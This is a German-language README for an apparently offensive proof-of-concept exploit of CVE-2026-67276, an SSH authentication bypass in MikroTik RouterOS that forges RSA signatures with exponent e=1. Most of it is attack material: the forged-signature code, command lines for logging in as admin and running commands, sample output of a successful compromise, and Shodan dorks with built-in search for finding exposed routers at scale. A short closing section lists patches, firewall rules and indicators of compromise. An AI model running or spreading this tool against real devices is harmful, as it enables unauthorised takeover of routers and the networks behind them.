
CVE-2026-67276 MikroTik RouterOS SSH-Authentifizierungs-Bypass-Exploit
MikroTik RouterOS SSH-Public-Key-Authentifizierungs-Bypass - Kein privater Schlüssel erforderlich
Ein Proof-of-Concept-Exploit für CVE-2026-67276 (MikroTrick), eine kritische Authentifizierungs-Bypass-Schwachstelle in der SSH-Implementierung von MikroTik RouterOS, die es Angreifern ermöglicht, sich als beliebiger Benutzer zu authentifizieren, ohne dessen privaten Schlüssel zu besitzen.
CVE-2026-67276 ist Teil einer größeren Angriffskette namens "MikroTrick", die von CERT PL entdeckt wurde und nachweislich aktiv in freier Wildbahn ausgenutzt wird:
Die SSH-Authentifizierung von RouterOS weist einen kritischen Fehler bei der Validierung öffentlicher Schlüssel auf:
{ssh-rsa, e=1, n=Opfer_Modulus} macht die Verifizierung trivialStandard-RSA-Verifizierung: sig^65537 mod n == erwartet (erfordert privaten Schlüssel)
Ausgenutzte Verifizierung: sig^1 mod n == sig (KEIN privater Schlüssel nötig!)
Mit Exponent e=1 wird die Signaturprüfung zu:
sig^1 mod n == sig
Das bedeutet, die "Signatur" ist einfach die EMSA-PKCS1-v1_5-kodierte Nachricht selbst - von jedem konstruierbar, der den öffentlichen Modulus des Opfers kennt.
n dieses autorisierten Schlüssels (aus .pub-Datei, früheren Verbindungen usw.)| Zweig | Verwundbarer Bereich | Gepatchte Version |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Repository klonen
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Abhängigkeiten installieren
pip install paramiko cryptography
# Basis-Exploit - generiert Schlüssel automatisch, erkennt Version
python3 full_exploit.py --host 192.168.88.1 --username admin
# Befehl nach Authentifizierung ausführen
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Benutzerdefinierter Port
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Wenn Sie die Public-Key-Datei des Opfers haben
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Oder den Modulus direkt angeben
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
Der Exploit erkennt automatisch die RouterOS-Version und prüft den Schwachstellenstatus:
# Exploit auch bei Nicht-MikroTik oder unbekannter Version erzwingen
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host Ziel-RouterOS-IP/Hostname (erforderlich)
--port SSH-Port (Standard: 22)
--username Ziel-RouterOS-Benutzername (erforderlich)
--pubkey RSA-Public-Key-Datei (wird automatisch generiert, wenn nicht angegeben)
--modulus-hex RSA-Modulus als Hex (Alternative zu --pubkey)
--algos Signaturalgorithmen (Standard: ssh-rsa,rsa-sha2-256)
--exec Befehl zur Ausführung nach der Authentifizierung
--exp-enc Exponenten-Kodierung: kanonisch (1 Byte) oder ausgerichtet (3 Bytes)
--timeout Verbindungs-Timeout (Standard: 15.0 Sekunden)
--skip-version-check RouterOS-Versionsprüfung überspringen
--shodan-dorks Shodan-Suchabfragen ausgeben
--shodan-search Shodan-API nach Zielen durchsuchen
--shodan-key Shodan-API-Schlüssel
--shodan-query Benutzerdefinierte Shodan-Abfrage
--shodan-limit Shodan-Ergebnislimit (Standard: 100)
python3 full_exploit.py --shodan-dorks
# Basissuche
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# Benutzerdefinierte Abfrage
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (öffentlicher Exponent) <- Angreifer liefert e=1
mpint n (Modulus) <- Tatsächlicher Modulus des Opfers
# Die "Signatur" ist einfach die EMSA-PKCS1-v1_5-kodierten Auth-Daten
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Dies IST die gültige Signatur, wenn e=1
rsa-sha2-256/512-Algorithmen ssh-rsa[*] CVE-2026-67276 MikroTrick-Exploit
[*] Ziel: 192.168.88.1:22
[*] RouterOS-Version wird erkannt...
[*] SSH-Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS-Version: 7.23.3
[+] VERSION VERWUNDBAR - CVE-2026-67276 anwendbar
[*] 2048-Bit-RSA-Schlüsselpaar wird generiert...
[+] Privater Schlüssel gespeichert: /path/to/exploit_key
[+] Öffentlicher Schlüssel gespeichert: /path/to/exploit_key.pub
[*] Modulus: 2048-Bit | gefälscht e=1
[*] Exponenten-Kodierung: kanonisch (01)
[*] Versuche rsa-sha2-256 ...
[+] ALS 'admin' über rsa-sha2-256 AUTHENTIFIZIERT
[+] CVE-2026-67276 BESTÄTIGT - Ziel ist verwundbar
--- Befehlsausgabe ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Aktuelle Version prüfen
/system resource print
# Auf gepatchte Version aktualisieren
/system package update download
/system reboot
Mindestversionen mit Sicherheitsupdates:
/ip service disable ssh
# Nach IP-Adresse
/ip service set ssh address=192.168.88.0/24
# Firewall-Regel
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Auf verdächtige Benutzer prüfen
/user print
# Auf "ops"-Benutzer prüfen (bekannter Angreifer-Indikator)
/user print where name=ops
# Status der Gerätekennzeichnung prüfen
/system/device-mode/print
# Protokolle prüfen
/log print where topics~"ssh"
Bekannte IOCs:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
MIT-Lizenz - Siehe LICENSE für Details.
Security-Research-PoC - CVE-2026-67276-Laborimplementierung
Star dieses Repository, wenn Sie es nützlich finden!
| Detail | Information |
|---|
| CVE-ID | CVE-2026-67276 |
| Schweregrad | Kritisch (CVSS 9.8) |
| CWE | CWE-347 (Unzureichende Überprüfung der kryptografischen Signatur) |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine |
| Komplexität | Niedrig |
| Auswirkung | Vollständige Gerätekompromittierung |
| CVE | Typ | Beschreibung |
|---|
| CVE-2026-67276 | Auth-Bypass | SSH-Public-Key-Auth-Bypass durch Exponenten-Fälschung |
| CVE-2026-86060 | Privilegieneskalation | Argument-Injection über Benutzername |
| CVE-2026-67279 | Auth-Bypass | SSH-Verbindung ohne abgeschlossene Userauth |
| CVE-2026-67277 | Informationsoffenlegung | Kernel-Speicherleck über Bandbreitentest |
| CVE-2026-67278 | Signatur-Bypass | X.509-Akzeptanz fehlerhafter Signaturen |
| CVE-2026-67281 | Dateilesen | WebFig-Root-Dateilesen über jsproxy |
| 7.x stabil |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x Testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| Ziel | Abfrage |
|---|
| Alle MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox exponiert | port:8291 |
| WebFig-Panel | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| Nach Land | MikroTik country:US |
| Schwachstellenhinweis | MikroTik ("6.49" OR "7.23" OR "7.24.0") |